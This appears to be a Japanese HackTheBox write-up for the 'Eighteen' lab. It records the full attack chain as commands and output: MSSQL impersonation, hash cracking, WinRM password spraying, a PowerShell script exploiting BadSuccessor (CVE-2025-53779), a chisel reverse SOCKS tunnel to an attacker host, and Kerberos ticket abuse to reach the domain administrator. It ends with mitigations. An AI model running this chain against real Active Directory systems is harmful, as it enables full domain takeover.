HackTheBox: Eighteen — 全実行コマンド・実行結果レポート
Nmap スキャン
1433/5985
→
1433/5985
kevin –local-auth
MSSQL ログイン
→
MSSQL ログイン
EXECUTE AS LOGIN appdev
IMPERSONATE 権限悪用
→
IMPERSONATE 権限悪用
Werkzeug pbkdf2 クラック
iloveyou1
→
iloveyou1
WinRM スプレー
adam.scott / user.txt ✓
→
adam.scott / user.txt ✓
dMSA 作成 (ADSI)
Administrator に link
→
Administrator に link
BadSuccessor TGT
getST.py -dmsa
→
getST.py -dmsa
smbclient (C$)
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 1000 -T4 10.129.94.111
RESULT
PORT STATE SERVICE 1433/tcp open ms-sql-s 5985/tcp open wsman Nmap done: 1 IP address (1 host up) scanned
🚨
外部公開は MSSQL(1433) と WinRM(5985) のみ。LDAP(389)/Kerberos(88)/SMB(445) には
直接到達できない — この制約が後半の権限昇格フェーズでトンネリングを必須にする最大の要因。
MSSQL バナー確認
BASH
nmap -Pn -p 1433 --script ms-sql-ntlm-info 10.129.94.111
RESULT
| ms-sql-ntlm-info:
| Target_Name: EIGHTEEN
| NetBIOS_Domain_Name: EIGHTEEN
| DNS_Domain_Name: eighteen.htb
| DNS_Computer_Name: DC01.eighteen.htb
ℹ️
MSSQL のNTLM情報から DC のFQDN (
DC01.eighteen.htb) とドメイン名を無認証で特定できる。
/etc/hosts に eighteen.htb と dc01.eighteen.htb を追記しておく。
PHASE 2
MSSQL ログイン impersonation で financial_planner DB を奪取
kevin (ローカル認証) で接続 → appdev へ impersonate
BASH
impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.129.94.111' # ※ -windows-auth は付けない (kevin は MSSQL ローカル SQL ログインであり # ドメインアカウントではないため、付けると # "Login failed. The login is from an untrusted domain" で即座に失敗する) SQL> SELECT SUSER_NAME() SQL> EXECUTE AS LOGIN = 'appdev' SQL> SELECT SUSER_NAME() SQL> use financial_planner SQL> SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES SQL> SELECT * FROM dbo.users
RESULT
SQL (kevin guest@master)> ----- kevin SQL (kevin guest@master)> SQL (appdev appdev@master)> ------ appdev SQL (appdev appdev@financial_planner)> TABLE_NAME ----------- users incomes expenses allocations analytics visits SQL (appdev appdev@financial_planner)> id full_name username email password_hash ---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ 1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133
✅
kevin は sysadmin ではないが
appdev ログインへの IMPERSONATE 権限を持つ。
EXECUTE AS LOGIN はセッションのセキュリティコンテキストを切替え (REVERT まで維持)、
appdev がアクセス可能な financial_planner DB の内容を全て読める。
PHASE 3
Werkzeug ハッシュ変換・クラック & WinRM スプレーで user.txt
Werkzeug 形式 → hashcat/john 形式へ変換
PYTHON
import re, base64
werkzeug_hash = "pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133"
m = re.match(r'pbkdf2:sha256:(\d+)\$([^$]*)\$(.*)', werkzeug_hash)
iterations, salt, hexhash = m.group(1), m.group(2), m.group(3)
salt_b64 = base64.b64encode(salt.encode()).decode()
hash_b64 = base64.b64encode(bytes.fromhex(hexhash)).decode()
print(f"sha256:{iterations}:{salt_b64}:{hash_b64}")
RESULT
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=
ℹ️
Werkzeug の
pbkdf2:sha256:<iter>$<salt>$<hexhash> 形式は、
hashcat の mode 10900 (sha256:<iter>:<b64 salt>:<b64 hash bytes>) とは
salt と hash の表現 (生文字列 vs base64、hex vs raw bytes) が異なるため、変換が必須。
hashcat でクラック
BASH
echo 'sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > e18_hash.txt hashcat -m 10900 e18_hash.txt /usr/share/wordlists/rockyou.txt --potfile-disable -o e18_crack.txt cat e18_crack.txt
RESULT
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
sha256:600000:QU10enRlUUlHN3lBYlpJYQ==:BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:iloveyou1
netexec mssql –rid-brute で有効ユーザー一覧を取得
BASH
netexec mssql 10.129.94.111 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
RESULT
MSSQL 10.129.94.111 1433 DC01 [+] EIGHTEEN\Administrator MSSQL 10.129.94.111 1433 DC01 [+] EIGHTEEN\adam.scott MSSQL 10.129.94.111 1433 DC01 [+] EIGHTEEN\jamie.dunn MSSQL 10.129.94.111 1433 DC01 [+] EIGHTEEN\jane.smith ... (以下続く)
ℹ️
LDAP/SMB に到達できない制約下でも、MSSQL サービス経由の SID ブルートフォースで
ドメインアカウント名を列挙できる (netexec の RID brute 機能、MSSQL だけで動作)。
クラック済みパスワードを WinRM へスプレー
BASH
netexec winrm 10.129.94.111 -u users.txt -p iloveyou1 -d eighteen.htb --continue-on-success
RESULT
WINRM 10.129.94.111 5985 DC01 [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)
user.txt 取得
BASH
evil-winrm -i 10.129.94.111 -u adam.scott -p iloveyou1 *Evil-WinRM* PS> Get-Content C:\Users\adam.scott\Desktop\user.txt
RESULT
3adb383102518f0b19d0004c0d98a995
user.txt — adam.scott@eighteen.htb
3adb383102518f0b19d0004c0d98a995
PHASE 4
BadSuccessor — dMSA 作成 (ADSI, WinRM セッション内で直接実行)
脆弱性の背景 — dMSA / CVE-2025-53779
NOTE
この DC は Windows Server 2025 (Windows2025Domain/ForestMode) で稼働しており、 新機能「delegated Managed Service Account (dMSA)」の移行ロジックに脆弱性がある (BadSuccessor / CVE-2025-53779)。dMSA は「既存アカウントの後継」として作成でき、 移行時に旧アカウントの権限を引き継ぐ仕組みを持つが、KDC はこの「後継関係」 (msDS-ManagedAccountPrecededByLink 属性) を正当な権限チェックなしに信頼してしまう。 対象 OU (OU=Staff,DC=eighteen,DC=htb) に CreateChild 権を持つ adam.scott は、 任意の dMSA オブジェクトを作成し、msDS-ManagedAccountPrecededByLink を Administrator の DN に設定できる。これだけで、後にその dMSA の TGT を要求する際、 PAC に Administrator の全グループメンバーシップが付与されてしまう。
ADSI PowerShell で dMSA オブジェクトを作成
NOTE
WinRM 経由の adam.scott 認証セッションは Kerberos/NTLM で LDAP に直接書き込める ため、Kali 側から LDAP(389) に到達できなくても、このステップは DC 上で 実行する PowerShell スクリプトだけで完結する (トンネル不要)。
POWERSHELL (attack_dmsa.ps1)
$srchAdmin = [adsisearcher]"(&(objectClass=user)(sAMAccountName=Administrator))"
$adminResult = $srchAdmin.FindOne()
$adminDN = $adminResult.Properties["distinguishedname"][0]
$srchAdam = [adsisearcher]"(&(objectClass=user)(sAMAccountName=adam.scott))"
$adamResult = $srchAdam.FindOne()
$adamSid = New-Object System.Security.Principal.SecurityIdentifier($adamResult.Properties["objectsid"][0], 0)
# dMSA の msDS-GroupMSAMembership に adam.scott へのフルコントロールを許可する SD
$sddl = "O:S-1-5-32-544D:(A;;0xf01ff;;;$($adamSid.Value))"
$rawSd = New-Object System.Security.AccessControl.RawSecurityDescriptor($sddl)
$sdBytes = New-Object byte[] ($rawSd.BinaryLength)
$rawSd.GetBinaryForm($sdBytes, 0)
$ouEntry = [ADSI]"LDAP://OU=Staff,DC=eighteen,DC=htb"
$dmsa = $ouEntry.Children.Add("CN=kavi_dmsa", "msDS-DelegatedManagedServiceAccount")
$dmsa.Properties["sAMAccountName"].Add("kavi_dmsa`$")
$dmsa.Properties["dNSHostName"].Add("kavi_dmsa.eighteen.htb")
$dmsa.Properties["msDS-ManagedPasswordInterval"].Value = 30
$dmsa.Properties["msDS-DelegatedMSAState"].Value = 2
$dmsa.Properties["msDS-ManagedAccountPrecededByLink"].Add($adminDN) # ← Administrator に link
$dmsa.Properties["msDS-GroupMSAMembership"].Add($sdBytes)
$dmsa.Properties["msDS-SupportedEncryptionTypes"].Value = 0x1c
$dmsa.Properties["userAccountControl"].Value = 0x1000
$dmsa.CommitChanges()
BASH
# adam.scott の WinRM セッションでスクリプトを転送・実行 evil-winrm -i 10.129.94.111 -u adam.scott -p iloveyou1 *Evil-WinRM* PS> upload attack_dmsa.ps1 C:\programdata\attack_dmsa.ps1 *Evil-WinRM* PS> powershell -ExecutionPolicy Bypass -File C:\programdata\attack_dmsa.ps1
RESULT
DMSA_CREATED
dMSA created: CN=kavi_dmsa,OU=Staff,DC=eighteen,DC=htb
⚠️
ハマりポイント: このラボには KDS root key が存在しない
(
Get-KdsRootKey が空を返す)。そのため msDS-ManagedPassword
を読んで dMSA の実パスワードを取得する経路は機能しない (実機検証で確認、blob が空)。
— だが本脆弱性の本体は「dMSA 作成さえできれば PAC が汚染される」ことであり、
managed password の実体を取得する必要は元々ない。次の Phase 5 で直接 TGT を要求する。
PHASE 5
chisel リバース SOCKS トンネル & getST.py -dmsa で BadSuccessor TGT を取得
chisel (v1.9.1 固定) でリバース SOCKS を確立
NOTE
Kali 側 apt 版 chisel (より新しいビルド) をそのまま使うと Windows 側 v1.9.1 クライアントとバージョン不一致になり、トンネルの制御チャネルは確立するが 実際のデータ転送 (SOCKS越し通信) が機能しない (実機検証で発見: ローカル SOCKS待受ポートは立つのに全接続がタイムアウトする)。Kali側も同じ v1.9.1 を使う。
BASH
# Kali側: chisel server (v1.9.1 固定) curl -sL https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz | gunzip > chisel_1.9.1 chmod +x chisel_1.9.1 ./chisel_1.9.1 server -p 44428 --reverse & # Windows側 (WinRM経由): chisel.exe クライアントをバックグラウンドで起動 # ※ WinRM/PSRemoting のジョブオブジェクトは、起動元シェルセッションが終了すると # 子プロセスもまとめて kill する。同一コマンド内で Start-Sleep を長めに取り、 # コマンド自体を非同期 (バックグラウンド) 実行することでトンネルを維持する # (実機検証で発見: セッション即終了だと接続した直後に切断される) netexec winrm 10.129.94.111 -u adam.scott -p iloveyou1 -x \ '$p = Start-Process -FilePath "C:\Windows\Tasks\chisel.exe" -ArgumentList "client <KALI_IP>:44428 R:socks" -NoNewWindow -PassThru; Start-Sleep -Seconds 150; $p.HasExited'
RESULT (chisel server ログ)
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:44428
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
ℹ️
chisel の
R:socks 省略形は常に ローカル 127.0.0.1:1080 に SOCKS5
リスナーをバインドする (別ポートにしたい場合は R:9050:socks のように明示する必要がある)。
クロックスキュー測定 (DC のローカルタイムゾーンに注意)
NOTE
この環境の DC はローカルタイムゾーンが Pacific Time (UTC-7/8) に設定されている。 NTP(123/udp) は外部非公開のため ntpdate は使えず、WinRM の Get-Date で時刻を 取得するしかないが、ToUniversalTime() を付けずに素の Get-Date を使うと ローカル(Pacific)時刻が返り、それを誤って UTC として扱うと約7時間の誤差になり Kerberos が KRB_AP_ERR_SKEW (Clock skew too great) で必ず失敗する (実機検証で発見: 素の Get-Date を使った初回の getST.py 試行は毎回ここで失敗した)。
BASH
netexec winrm 10.129.94.111 -u adam.scott -p iloveyou1 \
-x '(Get-Date).ToUniversalTime().ToString("yyyy-MM-dd HH:mm:ss")'
date -u '+%Y-%m-%d %H:%M:%S' # Kali 側 UTC 時刻
RESULT
DC (UTC変換後) : 2026-11-01 10:56:14
Kali (UTC) : 2026-11-01 03:47:52
→ オフセット = +25702秒 (約+7時間8分) ※ DC が進んでいる方向
getST.py -dmsa でBadSuccessor TGT を取得
BASH
cat > proxychains.conf <<'EOF' strict_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] socks5 127.0.0.1 1080 EOF TZ=UTC faketime "+25702 seconds" proxychains4 -f proxychains.conf python3 \ /usr/share/doc/python3-impacket/examples/getST.py \ -dc-ip 10.129.94.111 -impersonate 'kavi_dmsa$' -self -dmsa \ 'eighteen.htb/adam.scott:iloveyou1'
RESULT
[*] Getting TGT for user
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.94.111:88 ... OK
[*] Impersonating kavi_dmsa$
[*] Requesting S4U2self
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.94.111:88 ... OK
[*] Current keys:
[*] EncryptionTypes.aes256_cts_hmac_sha1_96:543e6adf15fa5b3a995d1b63573e4a2711509bfc1d83aff615bb8527cc755728
[*] EncryptionTypes.rc4_hmac:da5767fcf854f3bd2323dcb852c9ddd7
[*] Saving ticket in kavi_dmsa$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache
✅
BadSuccessor 発動成功。 通常なら全く無関係な新規アカウントのはずの
kavi_dmsa$ に対して S4U2Self で要求した TGT に、
msDS-ManagedAccountPrecededByLink で紐付けた Administrator の PAC
(全グループメンバーシップ) がそのまま付与される。これが CVE-2025-53779 の核心。
PHASE 6
smbclient (C$) で root.txt を取得
取得した ccache を使い C$ 共有へ接続
NOTE
wmiexec.py 等の DCOM 方式は動的 RPC ポートを使うため SOCKS 越しでは不安定 (実機検証で複数回タイムアウト)。SMB(445) のみで済む smbclient.py を使う。
BASH
cat > smb_cmds.txt <<'EOF' use C$ cd Users\Administrator\Desktop get root.txt exit EOF TZ=UTC faketime "+25702 seconds" proxychains4 -f proxychains.conf bash -c \ "KRB5CCNAME='$(pwd)/kavi_dmsa\$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache' \ python3 /usr/share/doc/python3-impacket/examples/smbclient.py \ -k -no-pass 'eighteen.htb/kavi_dmsa\$@dc01.eighteen.htb' < smb_cmds.txt" cat root.txt
RESULT
[proxychains] Strict chain ... 127.0.0.1:1080 ... 10.129.94.111:445 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... EIGHTEEN.HTB:88 ... OK
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# # # #
dce71a09b766f7ed4cc792ae614e3e98
root.txt — Administrator@dc01.eighteen.htb
dce71a09b766f7ed4cc792ae614e3e98
⚠️
ハマりポイント: ccache のパスを
cd loot && KRB5CCNAME='相対パス'
のように組み立てると、cd 後のカレントディレクトリから見て相対パスが二重に解釈され
No such file or directory になる (実機検証で発見)。KRB5CCNAME には必ず
絶対パスを使うこと。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — adam.scott@eighteen.htb
3adb383102518f0b19d0004c0d98a995
root.txt — Administrator@dc01.eighteen.htb
dce71a09b766f7ed4cc792ae614e3e98
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| MSSQL ログイン impersonation | SQL Server (EXECUTE AS LOGIN) | appdev の権限で DB アクセス | Medium | kevin は appdev への IMPERSONATE 権限を持ち、パスワード不要でコンテキスト切替 |
| 平文類似パスワードハッシュの DB 保存 | financial_planner.dbo.users | 資格情報漏洩 | Medium | Werkzeug pbkdf2 ハッシュを hashcat 形式へ変換しクラック (iloveyou1) |
| BadSuccessor (CVE-2025-53779) | Windows Server 2025 AD dMSA 機能 | 任意ユーザーへの権限昇格 (Domain Admin 相当) | Critical | 対象OUへのCreateChild権のみで、Administratorにlinkしたdmsaを作成しTGTのPACを汚染 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート | 1433(MSSQL)/5985(WinRM)のみ外部公開 |
| 2 | MSSQL impersonation | kevin –local-auth → EXECUTE AS LOGIN appdev | financial_planner.dbo.users の Werkzeug ハッシュ |
| 3 | クラック & スプレー | hashcat -m 10900 変換クラック + netexec rid-brute + WinRM spray | user.txt (adam.scott) |
| 4 | dMSA作成 | ADSI PowerShell (WinRMセッション内) | Administrator にlinkしたdmsa ‘kavi_dmsa$’ |
| 5 | トンネル & TGT | chisel SOCKS + faketime + getST.py -dmsa | Administrator PAC付きdMSA TGT (ccache) |
| 6 | フラグ取得 | smbclient.py -k -no-pass (C$) | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 低権限 MSSQL ログインに他ログインへの IMPERSONATE 権限が付与されている | 最小権限の原則を徹底し、IMPERSONATE 権限は本当に必要なサービスアカウントのみに限定する。 |
| アプリケーション DB にパスワードハッシュが平文で保存・読み取り可能 | アプリケーション層からのDB直接クエリを制限し、ハッシュへのアクセス自体を最小化する。弱いマスターパスワードの使い回しを避ける。 |
| BadSuccessor (CVE-2025-53779): dMSA の後継リンクが検証なしに信頼される | Microsoft のセキュリティ更新を適用する。OU への CreateChild 権限の委任を最小化し、 dMSA オブジェクトの作成・msDS-ManagedAccountPrecededByLink 属性の変更を監視する。 |

